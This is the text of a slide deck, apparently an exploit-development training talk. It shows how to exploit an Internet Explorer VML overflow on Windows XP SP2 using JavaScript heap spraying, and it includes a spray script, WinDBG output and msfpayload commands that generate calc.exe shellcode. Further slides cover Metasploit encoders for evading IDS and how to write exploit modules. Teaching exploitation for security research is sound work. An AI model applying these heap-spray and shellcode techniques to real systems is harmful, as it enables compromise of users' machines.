  • 21. EIP = 0x41414141 We control EIP. Where do you want to go…? Direct return to stack? XP SP2 doesn’t allow it. Jump through registers? EDX ESP and EBP are the only possible options…but they don’t point to our buffer. Other registers are cleared, thanks to XP SP2. XP SP2 also forbids jumping into DLLs.
  • 22. How do we pull it off? In other circumstances, we’d have to go through long tedious routes… … or publish a DoS exploit and call it a day. L4m3 We are exploiting a browser Browsers run Javascript Javascript has arrays Javascript arrays occupy heap memory
  • 23. Loading our buffer in the heap Can we load our shellcode in the heap via Javascript? How do we know where our buffer lies? Direct jump into heap? yes! that is possible.
  • 24. Heap Spraying Technique pioneered by Skylined Make a VERY large NOP sled Append shellcode at its end Create multiple instances of this NOP sled in the heap memory using Javascript arrays… a[0] = str; a[1] = str… The heap gets “sprayed” with our payloads. Land somewhere in the NOPs, and you win.
  • 25. Heap Spraying NOP sled shellcode NOP sled shellcode NOP sled shellcode <script> : spray = build_large_nopsled(); a = new Array(); for(i = 0; i < 100; i++) a[i] = spray + shellcode; : </script> <html> : exploit trigger condition goes here : </html> a[7] a[8] a[9]
  • 26. Tips on Heap Spraying Make really large NOP sleds approx 800,000 bytes per spray block Adjust the size of the NOP sled to leave very little holes inbetween spray blocks. Javascript Unicode encoding works great for shellcode. shellcode = unescape(“%uXXXX%uXXXX…”); Null bytes are not a problem anymore.
  • 27. ie_vml2 On your host Run daemon.pl to serve up ie_vml2.html On the Windows box start up iexplore start up WinDBG press F6 in WinDBG and attach to iexplore.exe $ ./daemon.pl ie_vml2.html [*] Starting HTTP server on 8080 0:005> gh
  • 28. Crashing IE again INT3 shellcode. Look for “90 90 90 90 cc cc cc cc” in the memory after IE crashes. 0:000> s 02000000 l fffffff 90 90 90 90 cc cc cc cc 02150020 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ 02360020 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ 02570020 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ 02780020 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ 02990020 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ 02ba0020 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ 02db0020 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ 02fc0020 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ 031d0020 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ 033e0020 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ : : :
  • 29. Jump to heap We can point EIP to any of the sprayed blocks. Arbitrarily choose addresses 0x03030303 0x04040404 0x05050505…etc. ie_vml3.html jumps to 0x05050505 Got INT 3?
  • 30. Introducing Metasploit An advanced open-source exploit research and development framework. http://metasploit.com Current stable version: 2.7 Written in Perl, runs on Unix and Win32 (cygwin) Brand new 3.0 Complete rewrite in Ruby
  • 31. Introducing Metasploit Generate shellcode. Shellcode encoding. Shellcode handlers. Scanning binaries for specific instructions: e.g. POP/POP/RET, JMP ESI, etc. Ability to add custom exploits, shellcode, encoders. … and lots more.
  • 32. Enter Shellcode Code assembled in the CPU’s native instruction set. Injected as a part of the buffer that is overflowed. Most typical function of the injected code is to “spawn a shell” - ergo “shellcode”. A buffer containing shellcode is termed as “payload”.
  • 33. Writing Shellcode Need to know the CPU’s native instruction set: e.g. x86 (ia32), x86-64 (ia64), ppc, sparc, etc. Tight assembly language. OS specific system calls. Shellcode libraries and generators. Metasploit Framework.
  • 34. Injecting the shellcode Easiest way is to pack it in the buffer overflow data itself. Place it somewhere in the payload data. Need to figure out where it will reside in the memory of the target process.
  • 35. A little about shellcode Types of shellcode: Bind shell Exec command Reverse shell Staged shell, etc. Advanced techniques: Meterpreter Uploading and running DLLs “in-process” … etc.
  • 36. Payload Encoders Payload encoders create encoded shellcode, which meets certain criteria. e.g. Alpha2 generates resultant shellcode which is only alphanumeric. Allows us to bypass any protocol parsing mechanisms / byte filters. An extra “decoder” is added to the beginning of the shellcode. size may increase.
  • 37. Payload Encoders Example: Alpha2 encoding Transforms raw payload into alphanumeric only shellcode. Decoder decodes the payload “in-memory”. decoder UnWQ89Jas281EEIIkla2wnhaAS901las original shellcode (ascii 0-255)
  • 38. Payload Encoders Metasploit offers many types of encoders. Work around protocol parsing e.g. avoid CR, LF, NULL toupper(), tolower(), etc. Defeat IDS Polymorphic Shellcode Shikata Ga Nai
  • 39. Using Metasploit to generate shellcode We need Javascript Unicode encoded shellcode. We will run “calc.exe” msfpayload - cmdline shellcode generation. msfencode - cmdline shellcode encoder. jsencode.pl - wrapper around Metasploit’s Pex::Utils::JSUnescape() function.
  • 40. Generate JSencoded shellcode: Final version ie_vml4.html contains working shellcode. A slight problem too many CALCs! Generate calc.exe shellcode $ ./msfpayload win32_exec EXITFUNC=“seh” CMD=“calc.exe” R | ./jsencode.pl
  • 41. Exit function - “thread” vs. “seh” Exiting via SEH causes the whole thing to repeat itself. Re-generate the shellcode using EXITFUNC=“thread” $ ./msfpayload win32_exec EXITFUNC=“thread” CMD=“calc.exe” R | ./jsencode.pl
  • 42. Writing Metasploit exploit modules Integration within the Metasploit framework. Multiple target support. Dynamic payload selection. Dynamic payload encoding. Built-in payload handlers. Can use advanced payloads. … a highly portable, flexible and rugged exploit!
  • 43. How Metasploit runs an exploit List of known target values user supplied exploit info Metasploit Shellcode Library Encoders Payload handlers create payload launch attack get connection EXPLOIT preamble
  • 44. Writing a Metasploit exploit Perl module (2.6), Ruby module (3.0) Pre-existing data structures %info, %advanced Constructor sub new {…} Exploit code sub Exploit {…}
  • 45. Structure of the exploit perl module package Msf::Exploit::name; use base “Msf::Exploit”; use strict; use Pex::Text; my $advanced = { }; my $info = { }; sub new { } sub Exploit { } information block constructor return an instance of our exploit exploit block
  • 46. %info Name Version Authors Arch OS Priv UserOpts Payload Encoder Refs DefaultTarget Targets Keys
  • 47. Metasploit Pex Perl EXtensions. <metasploit_home>/lib/Pex.pm <metasploit_home>/lib/Pex/ Text processing routines. Socket management routines. Protocol specific routines. These and more are available for us to use in our exploit code.
  • 48. Pex::Text Encoding and Decoding (e.g. Base64) Pattern Generation Random text generation (to defeat IDS) Padding … etc
  • 49. Pex::Socket TCP UDP SSL TCP Raw UDP
  • 50. Pex - protocol specific utilities SMB DCE RPC SunRPC MSSQL … etc
  • 51. Pex - miscellaneous utilities Pex::Utils Array and hash manipulation Bit rotates Read and write files Format String generator Create Win32 PE files Create Javascript arrays … a whole lot of miscellany!
  • 52. metasploit_skel.pm A skeleton exploit module. Walk-through. Can use this skeleton to code up exploit modules. Place finished exploit modules in: <path_to_metasploit>/exploits/
  • 54. Some command line Metasploit tools msfcli Metasploit command line interface. Can script up metasploit framework actions in a non-interactive manner. msfpayload Generate payload with specific options. msfencode Encode generated payload.
  • 55. More command line Metasploit tools msfweb Web interface to the Metasploit framework. msfupdate Live update for the Metasploit framework.
  • 56. New in Version 3.0 msfd Metasploit daemon, allows for client-server operation of Metasploit. msfopcode command line interface to Metasploit’s online opcode database. msfwx a GUI interface using wxruby.
  • 57. New in Version 3.0 New payloads, new encoders. Ruby extension - Rex (similar to Pex) NASM shell. Back end Database support. … whole lot of goodies here and there.
  • 58. Thank You! Saumil Shah [email_address] http://net-square.com +91 98254 31192